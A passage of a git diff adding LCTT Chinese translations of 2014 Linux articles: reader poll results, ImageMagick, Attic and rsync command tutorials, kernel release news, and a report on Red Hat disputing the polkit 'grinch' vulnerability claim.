5.4% +- 其它 4.6%* +- CFEngine 3% + + +*在“其它”当中,提名最多是 NixOps。 + +### 最佳编程语言 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f13.jpg) + +- Python 30.2% +- C++ 17.8% +- C 16.7% +- Perl 7.1% +- Java 6.9% +- 其它 4.6% +- Ruby 4.3% +- Go 2.4% +- JavaScript 2.4% +- QML 2.2% +- Fortran 1.4% +- Haskell 1.4% +- Lisp 1.2% +- Erlang .6% +- Rust .6% +- D .4% +- Hack .1% + +*在“其它”当中,提名最多的依次是Scala, PHP 以及 Clojure。 + +### 最佳脚本语言 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f13_0.jpg) + +Python强悍无比,无论在脚本及编程分类都有大量拥趸。对于象我这样懂Bash以及一点PHP皮毛的人来说,很明显在我一头扎进开发过程中,我需要重点突破。敢说空格无用?我--空格来也! + +- Python 37.1% +- Bash/Shell scripts 27% +- Perl 11.8% +- PHP 8.4% +- JavaScript 6.7% +- Ruby 4.9% +- 其它 2.1% +- Lua 2% + +### 最佳Linux/开源新产品/新项目 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/11781f14.jpg) + +Docker无疑是大赢家,当之无愧--游戏规则改变者嘛。 Jolla/Sailfish也小受欢迎,真是令人欣慰。我们爱安卓,不过多个选择不正是我们作为开源鼓手所提倡的一个重要方面吗。 + +- Docker 28% +- Jolla and Sailfish OS 19% +- LibreOffice 7% +- ownCloud 5% +- Steam 5% +- Zenoss Control Center 5% +- Raspberry Pi 4% +- Git 4% +- Apache Cordova/OpenOffice/Spark/Tika 3% +- Ansible 2% +- Elementary OS 2% +- OpenStack 2% +- Zabbix 2% +- CoreOS 2% +- Firefox OS 2% +- KDE Connect 1% +- NixOS and NixOps 1% +- Open Media Vault 1% + + +###你用Linux做过的最酷的事情 ### + +![](http://www.linuxjournal.com/files/linuxjournal.com/ufiles/imagecache/slideshow-400/tux_cruise.png) + +这是读者选择奖里我最钟爱的新分类。想象一下你参加某次Linux会议,期间询问人们他们用Linux做过的最酷的事情。这里所做的与之大同小异!这里我们仅列出部分我们比较喜欢的,如欲了解完整列表,请访问:[http://www.linuxjournal.com/rc2014/coolest][2]。 + +注:最常见的答案是:“使用它”;“挽救数据/照片/导致Windows 机器罢工的任何东西”;“说服朋友/家人/业务转向使用Linux”;“学习”;“讲授”;“获得工作”;“家庭自动化”;“构建家庭媒体服务器”。下表是我们选出的并非最常见的答案,而是一些比较具体与有个性的答案。 + +- 在上世纪90年代中期建立procmail垃圾邮件预过滤规则。 +- 450-节点计算集群。 +- 7.1 通道前置放大器(集成Mopidy音乐播放器)。 +- Linux机器人 (参加Eurobot年度比赛)。 +- 无意间打印到错误的大陆。 +- 视频同步时增加音频通道。 +- 使用自已编写的代码分析NASA卫星数据。 +- 远程逗着猫玩。 +- 通过声音以及移动应用自动控制家里整个灯光设置。 +- 窗台植物自动浇水系统。 +- 浴室收音机。 +- 配制啤酒。 +- 创建了一个运行在国际空间站的应用。 +- 为某大型收费高速公路系统建立一套实时收费系统。 +- 自己装配智能手机。 +- 使用树莓派建立基于网络的家庭报警系统。 +- 树莓派集群破解加密的办公文档。 +- 控制我的Parrot无人机。 +- 控制186台风力涡轮机的通信。 +- 在Linux下使用Stellarium控制我的米德望远镜。 +- 用一台十几年的老笔记本转换卡带式家庭视频的格式。 +- 在靠近北极地区创建网状网络。 +- 使用无线数据发射器创建海洋环境下的传感器浮标。 +- 发现新行星。 +- 修复位于美国丹佛的jabber服务器, 而我当时却身在约丹安曼一家酒店大堂。 +- 得到一张Linus亲笔签名的Red Hat 5.0 CD。 +- 入侵我的咖啡机,在咖啡做好后给我一条消息。 +- 给我女儿介绍乐高机器人EV3。 +- 监控酒窖温度与湿度,过热或过温时开门。 +- 用树莓派代替温泉浴缸上的控制器。 +- 使用脚本连接四天每隔15秒开关一次同事的CD托盘。 +- 使用LFS系统为一家全国性石油公司迁移ACH自动转帐系统。 +- 身在其它城市冲我家里的马桶。 +- 远程控制鸡舍门。 +- 使用树莓派为16个站点部署基于网络的洒水器控制器(并控制水池与庭院灯光)。 +- 链接SSH通道通过三级跳连接家与工作(因网络设置方面的限制)。 +- 建立一套系统,监控可再生能源的安装部分:两套固定的太阳能电池阵,一套两轴太阳跟踪太阳能电池阵,以及一台风力涡轮机。生产以及天气数据实时显示在网络站点。 +- 还是在“猫”时代,我用电脑每天早上叫醒我女朋友去上班。 +- 使用一个Wii摇控器,通过蓝牙将我的笔记本作为红外摄像机,侦测我女儿的旋转木马的运动,以及控制视频游戏。 + +-------------------------------------------------------------------------------- + +via: http://www.linuxjournal.com/rc2014 + +作者:[Shawn Powers][a] +译者:[yupmoon](https://github.com/yupmoon) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linuxjournal.com/users/shawn-powers +[1]:http://www.linuxjournal.com/contact +[2]:http://www.linuxjournal.com/rc2014/coolest diff --git a/published/201412/20141208 Linux FAQs with Answers--How to crop an image from the command line on Linux.md b/published/201412/20141208 Linux FAQs with Answers--How to crop an image from the command line on Linux.md new file mode 100644 index 0000000000..6d98704a99 --- /dev/null +++ b/published/201412/20141208 Linux FAQs with Answers--How to crop an image from the command line on Linux.md @@ -0,0 +1,44 @@ +Linux有问必答——如何在Linux命令行中剪裁图像 +================================================================================ +> **问题**:我想要去除图像文件中的白色空白,有没有什么便捷的方法能在Linux命令行中对图像文件进行剪裁? + +当涉及到在Linux中转换或编辑图像文件时,ImageMagick毫无疑问是最为熟知的一体化软件之一。它包含了一整套命令行工具,用以显示、转换,或复制超过200中类型的光栅或矢量图像文件,所有这一切都在命令行下完成。ImageMagick可以用于多样化的图像编辑工作,如转换文件格式,添加特殊效果,添加文本,以及改变图像(调整大小、旋转、翻转、剪裁)。 + +如果你想要剪裁映像以去除空白,你可以使用ImageMagick自带的两个命令行工具。如果你还没有安装ImageMagick,请参照[本指南][1]来安装。 + +在本教程中,让我们来剪裁以下PNG图像。我们想要去除图像右边和底部的边缘,以便让图标居中。 + +![](https://farm8.staticflickr.com/7562/15688242319_ed19aca3a2_z.jpg) + +首先,鉴定图像文件的尺寸(宽度和高度)。你可以使用identity命令来完成。 + + $ identify chart.png + +---------- + + chart.png PNG 1500x1000 1500x1000+0+0 8-bit DirectClass 31.7KB 0.000u 0:00.000 + +就像上面显示的那样,输入的图像是1500x1000px。 + +接下来,确定图像剪裁要做的两件事:(1)剪裁图像开始的位置(2)剪裁矩形区域的大小。 + +在本实例中,让我们假定图像剪裁从左上角开始,更精确点是在x=20px和y=10px,那样的话,剪裁后的图像尺寸为1200x700px。 + +用于剪裁图像的工具是convert。使用“-crop”选项后,convert命令会在输入图像中剪裁出一个矩形区域。 + + $ convert chart.png -crop 1200x700+20+10 chart-cropped.png + +指定输入图像为chart.png,convert命令会将剪裁后的图像存储为chart-cropped.png。 + +![](https://farm8.staticflickr.com/7527/15872271461_401276e072_z.jpg) + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/crop-image-command-line-linux.html + +译者:[GOLinux](https://github.com/GOLinux) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ask.xmodulo.com/install-imagemagick-linux.html diff --git a/published/201412/20141208 Nathive--A libre software image editor.md b/published/201412/20141208 Nathive--A libre software image editor.md new file mode 100644 index 0000000000..62ea6332df --- /dev/null +++ b/published/201412/20141208 Nathive--A libre software image editor.md @@ -0,0 +1,32 @@ +Nathive——libre软件图像编辑器 +================================================================================ +Nathive是一个libre软件图像编辑器,类似于 Adobe Photoshop、Corel Photo-Paint 或 GIMP,但是侧重于适用性和逻辑性,并为每个用户提供平滑的学习曲线。该项目在 GNOME 桌面环境中运行,并欢迎每个人参与到合作中,分享代码、翻译或想法等方面。 + +该项目尚处于测试阶段,所以它还是个未完成的工作,还不适用于终端用户。直到现在,开发始终专注于积淀应用的核心功能和创建便捷的开发工具。所以,目前我们将致力于创建新的插件,因为很明显在这方面还很缺乏。 + +其目的是在不放弃最初的可用性的情况下,逐步将该软件打造成一个专业的图像编辑器。Nathive由基于GTK+的Python脚本写成的,它设计为简洁、轻量,而且易于安装和使用。 + +### 在 ubuntu 上安装Nathive ### + +你需要从[这里][1]下载.deb包,然后双击来安装。 + +### 屏幕截图 ### + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/12/1.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/12/2.png) + +![](http://www.ubuntugeek.com/wp-content/uploads/2014/12/3.png) + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/nathive-a-libre-software-image-editor.html + +作者:[ruchi][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix +[1]:http://www.nathive.org/download diff --git a/published/201412/20141211 Linux Kernel 3.18 Released, This Is What' s New.md b/published/201412/20141211 Linux Kernel 3.18 Released, This Is What' s New.md new file mode 100644 index 0000000000..c69a9a0c88 --- /dev/null +++ b/published/201412/20141211 Linux Kernel 3.18 Released, This Is What' s New.md @@ -0,0 +1,53 @@ +Linux 3.18 新内核带来了什么新东西? +================================================================================ +![](http://www.omgubuntu.co.uk/wp-content/uploads/2011/07/Tux-psd3894.jpg) + +新的一月意味着新的稳定版Linux内核的发布,前一段时间,Linus Torvalds[宣布Linux 3.18 很快就会发布了][1]。 + +Torvalds在Linux内核邮件列表中解释到,由于在3.17中还存在几个令一小部分用户烦心的问题,但是‘**绝不可以在一些人积极解决老问题时其他人无所事事。**’ + +### Linux 3.18中有什么新的? ### + +Linux 3.18内核主要致力于硬件支持、电源效率、bug修复和可靠性。 + +如往常一样,这些内容跨度很大,容易让人迷惑 。比如:加密层多重缓冲操作 - 到气冲感知, 就像对雷蛇游戏手柄的支持。 + +下面我们收集了这个版本的重要的改变。这远远不是所有的,只是选取了一些更相关的内容。 + +- Nouveau (开源的 Nvidia GPU 驱动) 现在支持基础 DisplayPort 音频 +- 对雷蛇游戏手柄的支持,用在Xbox 360上 +- Xilinx USB2 外设 +- 对Microchip AR1021 i2c、PenMount 6000 touch的触摸屏支持 +- 音频编码: Cirrus Logic CS35L32、 Everest ES8328 和 Freescale ES8328 +- 音频支持: 通用飞思卡尔声卡, Analog Devices SSM4567音频放大器 +- 几个文件系统提升, 包括 Btrfs 和 F2FS +- 现在支持了DCTCP拥塞控制算法 +- JIT 编译64位 eBPF程序 +- “Tinification” 帮助开发人员编译更精简更小的内核 + +#### 在Ubuntu上安装 Linux 3.18 #### + +虽然声称是稳定版并带来了大量的更新,但不要马上急着升级你的系统。除非你擅长处理监控异常,CPU过热、和其他各种系统报出的异常。 + +如果你坚持更新,你可以在kernel.org网站上找到源码包。 + +- [下载Linux内核源码包][2] + +这里有一个由Canonical维护的最新Linux内核归档。尽管你可能在其他地方看到过,但是,请注意,这不是针对终端用户的。没有任何保证与支持,你自己承担风险。 + +- [访问Ubuntu内核主线归档][3] + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/12/linux-kernel-3-18-released-whats-new + +作者:[Joey-Elijah Sneddon][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://plus.google.com/117485690627814051450/?rel=author +[1]:https://lkml.org/lkml/2014/12/7/202 +[2]:https://www.kernel.org/pub/linux/kernel/v3.x/ +[3]:http://kernel.ubuntu.com/~kernel-ppa/mainline/?C=N;O=D \ No newline at end of file diff --git a/published/201412/20141211 Was 2014 The Year of Linux Desktop.md b/published/201412/20141211 Was 2014 The Year of Linux Desktop.md new file mode 100644 index 0000000000..d260bc0b6a --- /dev/null +++ b/published/201412/20141211 Was 2014 The Year of Linux Desktop.md @@ -0,0 +1,47 @@ +2014年会是 "Linux桌面年"吗? +================================================================================ +> Linux桌面现在终于发出最强音! + +![](http://i1-news.softpedia-static.com/images/news2/Was-2014-The-Year-of-Linux-Desktop-467036-2.jpg) + +**看来Linux在2014年有很多改变,许多用户都表示今年Linux的确有进步,但是仅凭这个就能断定2014年就是"Linux桌面年"吗?** + +"Linux桌面年"这句话,在过去几年就被传诵得像句颂歌一样,可以说是在试图用一种比较有意义的方式来标记它的发展进程。此类事情目前还没有发生过,在我们的见证下也从无先例,所以这就不难理解为什么Linux用户会用这个角度去看待这句话。 + +大多数软件和硬件领域不太会有这种快速的进步,都以较慢的速度发展,但是对于那些在工业领域有更好眼光的人来说,事情就会变得疯狂。即使有可能,针对某一时刻或某一事件还是比较困难的,但是Linux在几年的过程中还是以指数方式迅速发展成长。 + +![](http://i1-news.softpedia-static.com/images/news2/Was-2014-The-Year-of-Linux-Desktop-467036-3.jpg) + + +### Linux桌面年这句话不可轻言 ### + +没有一个比较权威的人和机构能判定Linux桌面年已经到来或者已经过去,所以我们只能尝试根据迄今为止我们所看到的和用户所反映的去推断。有一些人比较保守,改变对他们影响不大,还有一些人则比较激进,永远不知满足。这真的要取决于你的见解了。 + +点燃这一切的火花似乎就是Linux上的Steam平台,尽管在这变成现实之前我们已经看到了一些Linux游戏已经开始有重要的动作了。在任何情况下,Valve都可能是我们今天所看到的一系列复苏事件的催化剂。 + +![](http://i1-news.softpedia-static.com/images/news2/Was-2014-The-Year-of-Linux-Desktop-467036-6.jpg) + +在过去的十年里,Linux桌面以一种缓慢的速度在发展,并没有什么真正的改变。创新肯定是有的,但是市场份额几乎还是保持不变。无论桌面变得多么酷或Linux相比之前的任何一版多出了多少特点,很大程度上还是在原地踏步,包括那些开发商业软件的公司,他们的参与度一直很小,基本上就忽略掉了Linux。 + + +![](http://i1-news.softpedia-static.com/images/news2/Was-2014-The-Year-of-Linux-Desktop-467036-4.jpg) + +现在,相比过去的十年里,更多的公司表现出了对Linux平台的浓厚兴趣。或许这是一种自然地演变,Valve并没有做什么,但是Linux最终还是达到了一个能被普通用户接受并理解的水平,并不只是因为令人着迷的开源技术。 + +驱动程序能力强了,游戏工作室就会定期移植游戏,在Linux中我们前所未见的应用和中间件就会开始出现。Linux内核发展达到了难以置信的速度,大多数发行版的安装过程通常都不怎么难,所有这一切都只是冰山一角。 + +![](http://i1-news.softpedia-static.com/images/news2/Was-2014-The-Year-of-Linux-Desktop-467036-5.jpg) + +所以,当有人问你2014年是不是Linux桌面年时,你可以说“是的!”,因为Linux桌面完全统治了2014年。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Was-2014-The-Year-of-Linux-Desktop-467036.shtml + +作者:[Silviu Stahie][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie diff --git a/published/201412/20141219 Attic--Deduplicating backup program.md b/published/201412/20141219 Attic--Deduplicating backup program.md new file mode 100644 index 0000000000..7e025faf8f --- /dev/null +++ b/published/201412/20141219 Attic--Deduplicating backup program.md @@ -0,0 +1,92 @@ +Attic——删除重复数据的备份程序 +================================================================================ +Attic是一个Python写的删除重复数据的备份程序,其主要目标是提供一种高效安全的数据备份方式。重复数据消除技术的使用使得Attic适用于日常备份,因为它可以只存储那些修改过的数据。 + +### Attic特性 ### + +#### 空间高效存储 #### + +可变块大小重复数据消除技术用于减少检测到的冗余数据存储字节数量。每个文件被分割成若干可变长度组块,只有那些从没见过的组合块会被压缩并添加到仓库中。 + +#### 可选数据加密 #### + +所有数据可以使用256位AES加密进行保护,并使用HMAC-SHA256验证数据完整性和真实性。 + +#### 离场备份 #### + +Attic可以通过SSH将数据存储到安装有Attic的远程主机上。 + +#### 备份可作为文件系统挂载 #### + +备份归档可作为用户空间文件系统挂载,用于便捷地验证和恢复备份。 + +#### 安装attic到ubuntu 14.10 #### + +打开终端并运行以下命令 + + sudo apt-get install attic + +### 使用Attic ### + +#### 手把手实例教学 #### + +在进行备份之前,首先要对仓库进行初始化: + + $ attic init /somewhere/my-repository.attic + +将~/src和~/Documents目录备份到名为Monday的归档: + + $ attic create /somwhere/my-repository.attic::Monday ~/src ~/Documents + +第二天创建一个新的名为Tuesday的归档: + + $ attic create --stats /somwhere/my-repository.attic::Tuesday ~/src ~/Documents + +该备份将更快些,也更小些,因为只有之前从没见过的新数据会被存储。--stats选项会让Attic输出关于新创建的归档的统计数据,比如唯一数据(不和其它归档共享)的数量: + + 归档名:Tuesday + 归档指纹:387a5e3f9b0e792e91ce87134b0f4bfe17677d9248cb5337f3fbf3a8e157942a + 开始时间: Tue Mar 25 12:00:10 2014 + 结束时间: Tue Mar 25 12:00:10 2014 + 持续时间: 0.08 seconds + 文件数量: 358 + 最初大小 压缩后大小 重复数据删除后大小 + 本归档: 57.16 MB 46.78 MB 151.67 kB + 所有归档:114.02 MB 93.46 MB 44.81 MB + +列出仓库中所有归档: + + $ attic list /somewhere/my-repository.attic + + Monday Mon Mar 24 11:59:35 2014 + Tuesday Tue Mar 25 12:00:10 2014 + +列出Monday归档的内容: + + $ attic list /somewhere/my-repository.attic::Monday + + drwxr-xr-x user group 0 Jan 06 15:22 home/user/Documents + -rw-r--r-- user group 7961 Nov 17 2012 home/user/Documents/Important.doc + +恢复Monday归档: + + $ attic extract /somwhere/my-repository.attic::Monday + +通过手动删除Monday归档恢复磁盘空间: + + $ attic delete /somwhere/my-backup.attic::Monday + +详情请查阅[Attic文档][1]。 + +-------------------------------------------------------------------------------- + +via: http://www.ubuntugeek.com/attic-deduplicating-backup-program.html + +作者:[ruchi][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.ubuntugeek.com/author/ubuntufix +[1]:https://attic-backup.org/index.html diff --git a/published/201412/20141219 The 'grinch' isn't a Linux vulnerability, Red Hat says.md b/published/201412/20141219 The 'grinch' isn't a Linux vulnerability, Red Hat says.md new file mode 100644 index 0000000000..f129af6b61 --- /dev/null +++ b/published/201412/20141219 The 'grinch' isn't a Linux vulnerability, Red Hat says.md @@ -0,0 +1,68 @@ +红帽反驳:“grinch(鬼精灵)”算不上Linux漏洞 +================================================================================ +![](http://images.techhive.com/images/article/2014/12/grinch-linux-100536132-primary.idge.png) + +图片来源:[Natalia Wilson,受Creative Commons许可][1] + +> 安全专家表示,Linux处理权限的方式仍有可能导致潜在的误操作。 + +但红帽对此不以为然,称 Alert Logic 于本周二(译者注:12月16日)公布的 grinch (“鬼精灵”) Linux漏洞根本算不上是安全漏洞。 + +[红帽于周三发表简报][2] 回应Alert Logic 说法,表示:“(Alert Logic的)这份报告错误地将正常预期动作归为安全问题。” + +安全公司Alert Logic于本周二声称“鬼精灵”漏洞其严重性堪比 Heartbleed 臭虫,并称其是 [Linux 系统处理用户权限时的重大设计缺陷][3],恶意攻击者可借此获取机器的root权限。 + +Alert Logic 称攻击者可以使用第三方Linux 软件框架Policy Kit (Polkit)达到利用“鬼精灵”漏洞的目的。Polkit旨在帮助用户安装与运行软件包,此开源程序由红帽维护。Alert Logic 声称,允许用户安装软件程序的过程中往往需要超级用户权限,如此一来,Polkit也在不经意间或通过其它形式为恶意程序的运行洞开方便之门。 + +红帽对此不以为意,表示系统就是这么设计的,换句话说,**“鬼精灵”不是臭虫而是一项特性。** + +安全监控公司Threat Stack联合创造人 Jen Andre [就此在一篇博客][4]中写道:“如果你任由用户通过使用那些利用了Policykit的软件,无需密码就可以在系统上安装任何软件,实际上也就绕过了Linux内在授权与访问控制。” + +Alert Logic 高级安全研究员 James Staten 在发给国际数据集团新闻社(IDG News Service)的电子邮件中写道,虽然这种行为是设计使然,有意为之,但“鬼精灵”仍然可能被加以利用或修改来攻陷系统。 + +“现在的问题是表面存在一个薄弱环节,可以被用来攻击系统,如果安装软件包象其它操作一样,比如删除软件包或添加软件源,没有密码不行,那么就不会存在被恶意利用的可能性了。” + +不过 Andre 在一次采访中也表示,对那些跃跃欲试的攻击者来说,想利用Polkit还是有一些苛刻限制的。 + +攻击者需要能够物理访问机器,并且还须通过外设键鼠与机器互动。如果攻击者能够物理访问机器,可以象重启机器进入恢复模式访问数据与程序一样地轻而易举的得手。 + +Andre表示,不是所有Linux机器都默认安装Polkit -- 事实上,其主要用于拥有桌面图形界面的工作站,在当今运行的Linux机器中占有很小的份额。 + +换句话说,“鬼精灵”并不具有象[Shellshock][5]那样广泛的攻击面, 后者存在于Bash shell中,几乎所有发行版无一幸免。 + +其他安全专家对“鬼精灵”漏洞也不以为然。 + +系统网络安全协会(SANS Institute)互联网风暴中心(Internet Storm Center)咨询网站的 Johanners Ullrich 在[一篇博文][6]中写道:“某种程度上,与很多Linux系统过分随意的设置相比,这个并算不上多大的漏洞。” + +Ullrich 同时还指出,“鬼精灵”漏洞也并非完全“良性”,“可以很容易地加以利用,获得超出Polkit设置预期的权限。” + +Andre指出,负责管理运行Polkit桌面Linux机器的管理员要做到心中有数,了解潜在的危险,检查那些程序是靠Polkit来管理的,确保系统无虞。 + +他还表示,应用开发者与Linux 发行者也应确保正确使用Polkit框架。 + +原始报告的另一位作者Even Tyler似乎也承认“鬼精灵”并非十分严重。 + +[在开源安全邮件列表的一封邮件中][7],Bourland 提到攻击者需要借助其它漏洞,连同“鬼精灵”才能发起攻击时,他写道,“鬼精灵”就象个“开启界面的熟练工,但是本身并不能翻多高的浪。” + +(Lucian Constantin 对本文也有贡献。) + +-------------------------------------------------------------------------------- + +via:http://www.computerworld.com/article/2861392/security0/the-grinch-isnt-a-linux-vulnerability-red-hat-says.html + +作者:[Joab Jackson][a] +译者:[yupmoon](https://github.com/yupmoon) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.computerworld.com/author/Joab-Jackson/ +[1]:http://www.flickr.com/photos/moonrat/4571563485/ +[2]:https://access.redhat.com/articles/1298913 +[3]:http://www.pcworld.com/article/2860032/this-linux-grinch-could-put-a-hole-in-your-security-stocking.html +[4]:http://blog.threatstack.com/the-linux-grinch-vulnerability-separating-the-fact-from-the-fud +[5]:http://www.computerworld.com/article/2687983/shellshock-flaws-roils-linux-server-shops.html +[6]:https://isc.sans.edu/diary/Is+the+polkit+Grinch+Going+to+Steal+your+Christmas/19077 +[7]:http://seclists.org/oss-sec/2014/q4/1078 + + diff --git a/published/201412/20141222 How to use Rsync Command In Linux With Examples.md b/published/201412/20141222 How to use Rsync Command In Linux With Examples.md new file mode 100644 index 0000000000..5620506b79 --- /dev/null +++ b/published/201412/20141222 How to use Rsync Command In Linux With Examples.md @@ -0,0 +1,112 @@ +如何在Linux下使用rsync +================================================================================ +对于各种组织和公司,数据对他们是最重要的,即使对于电子商务,数据也是同样重要的。Rsync是一款通过网络备份重要数据的工具/软件。它同样是一个在类Unix和Window系统上通过网络在系统间同步文件夹和文件的网络协议。Rsync可以复制或者显示目录并复制文件。Rsync默认监听TCP 873端口,通过远程shell如rsh和ssh复制文件。Rsync必须在远程和本地系统上都安装。 + +rsync的主要好处是: + +**速度**:最初会在本地和远程之间拷贝所有内容。下次,只会传输发生改变的块或者字节。 + +**安全**:传输可以通过ssh协议加密数据。 + +**低带宽**:rsync可以在两端压缩和解压数据块。 + +语法: + + #rsysnc [options] source path destination path + +### 示例: 1 - 启用压缩 ### + + [root@localhost /]# rsync -zvr /home/aloft/ /backuphomedir + building file list ... done + .bash_logout + .bash_profile + .bashrc + sent 472 bytes received 86 bytes 1116.00 bytes/sec + total size is 324 speedup is 0.58 + +上面的rsync命令使用了-z来启用压缩,-v是可视化,-r是递归。上面在本地的/home/aloft/和/backuphomedir之间同步。 + +### 示例: 2 - 保留文件和文件夹的属性 ### + + [root@localhost /]# rsync -azvr /home/aloft/ /backuphomedir + building file list ... done + ./ + .bash_logout + .bash_profile + .bashrc + + sent 514 bytes received 92 bytes 1212.00 bytes/sec + total size is 324 speedup is 0.53 + +上面我们使用了-a选项,它保留了所有人和所属组、时间戳、软链接、权限,并以递归模式运行。 + +### 示例: 3 - 同步本地到远程主机 ### + + root@localhost /]# rsync -avz /home/aloft/ azmath@192.168.1.4:192.168.1.4:/share/rsysnctest/ + Password: + + building file list ... done + ./ + .bash_logout + .bash_profile + .bashrc + sent 514 bytes received 92 bytes 1212.00 bytes/sec + total size is 324 speedup is 0.53 + +上面的命令允许你在本地和远程机器之间同步。你可以看到,在同步文件到另一个系统时提示你输入密码。在做远程同步时,你需要指定远程系统的用户名和IP或者主机名。 + +### 示例: 4 - 远程同步到本地 ### + + [root@localhost /]# rsync -avz azmath@192.168.1.4:192.168.1.4:/share/rsysnctest/ /home/aloft/ + Password: + building file list ... done + ./ + .bash_logout + .bash_profile + .bashrc + sent 514 bytes received 92 bytes 1212.00 bytes/sec + total size is 324 speedup is 0.53 + +上面的命令同步远程文件到本地。 + +### 示例: 5 - 找出文件间的不同 ### + + [root@localhost backuphomedir]# rsync -avzi /backuphomedir /home/aloft/ + building file list ... done + cd+++++++ backuphomedir/ + >f+++++++ backuphomedir/.bash_logout + >f+++++++ backuphomedir/.bash_profile + >f+++++++ backuphomedir/.bashrc + >f+++++++ backuphomedir/abc + >f+++++++ backuphomedir/xyz + + sent 650 bytes received 136 bytes 1572.00 bytes/sec + total size is 324 speedup is 0.41 + +上面的命令帮助你找出源地址和目标地址之间文件或者目录的不同。 + +### 示例: 6 - 备份 ### + +rsync命令可以用来备份linux。 + +你可以在cron中使用rsync安排备份。 + + 0 0 * * * /usr/local/sbin/bkpscript &> /dev/null + +---------- + + vi /usr/local/sbin/bkpscript + + rsync -avz -e ‘ssh -p2093′ /home/test/ root@192.168.1.150:/oracle/data/ + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/how-tos/rsync-copy/ + +作者:[Bobbin Zachariah][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/bobbin/ diff --git a/published/201412/20141222 Linus Torvalds Launches Linux Kernel 3.19 RC1, One of the Biggest So Far.md b/published/201412/20141222 Linus Torvalds Launches Linux Kernel 3.19 RC1, One of the Biggest So Far.md new file mode 100644 index 0000000000..9167e3ceb6 --- /dev/null +++ b/published/201412/20141222 Linus Torvalds Launches Linux Kernel 3.19 RC1, One of the Biggest So Far.md @@ -0,0 +1,44 @@ +Linus Torvalds发布了Linux 3.19 RC1,这是目前为止最大的RC1 +================================================================================ +> 新的内核开发周期开始了 + +![](http://i1-news.softpedia-static.com/images/news2/Linus-Torvalds-Launches-Linux-kernel-3-19-RC1-One-of-the-Biggest-So-Far-468043-2.jpg) + +**首个内核候选版本在3.19分支上发布了,它看上去像目前最大的一个 RC1。Linus Torvalds很惊奇这么多人提交了,其实不过也很好理解。** + +内核开发周期因新的3.19的发布而刷新了。事实是3.18分支才几周前才发布,今天的发布并不是完全在预期中。假期要来了,很多开发者和维护人员可能会休息。一般来说RC版本每周发布一次,但是用户可能会看到一点的延误。 + +这个版本没有提到在Linux 3.18中确认的回归问题,但是可以确定的是,开发人员仍在努力修复中。另一方面,Linus说这是一个很大的更新,事实上这是目前为止最大的更新。很有可能是许多开发者想要在节日之前推送他们的补丁,因此,下一个RC版本会小一些。 + +### Linux 3.19 RC1 标志着新的一个周期的开始 ### + +发布版本的大小随着更新的频率正在增加。内核的开发周期通常大约8到10周,并且很少多于这个,这给项目一个很好的预测。 + +[阅读][1] Linus Torvalds的发布声明中说:“也就是说,也许没有谁在拖后腿,并且从rc1的大小来看,真的也不能再多了。我不仅觉得下一个版本会有更多的提交,并且这是历史上最大的一个rc1(在提交数量上)。我们有比它大的版本(3.10和3.15的都是由很大的合并窗口产生的),但是这明显这个合并窗口也不小。” + +“按照蓝图,这看上去只是一个常规发布。大约三分之二的驱动更新,这剩下的一半是架构的更新(新的nios2补丁还没有优势,它只有ARM一半的性能,新的niso2支持小于整体架构更新的10%)。” + +具体关于这个RC的细节可以在官方邮件列表中找到。 + +#### 下载 Linux 3.19 RC1 源码包: #### + +- [tar.xz (3.18.1 Stable)][3]文件大小 77.2 MB +- [tar.xz (3.19 RC1 Unstable)][4] + +如果你想要测试,需要自己编译。并不建议在生产机器上测试。 + +-------------------------------------------------------------------------------- + +via: http://news.softpedia.com/news/Linus-Torvalds-Launches-Linux-kernel-3-19-RC1-One-of-the-Biggest-So-Far-468043.shtml + +作者:[Silviu Stahie][a] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://news.softpedia.com/editors/browse/silviu-stahie +[1]:http://lkml.iu.edu/hypermail/linux/kernel/1412.2/02480.html +[2]:http://linux.softpedia.com/get/System/Operating-Systems/Kernels/Linux-Kernel-Development-8069.shtml +[3]:https://www.kernel.org/pub/linux/kernel/v3.x/linux-3.18.1.tar.xz 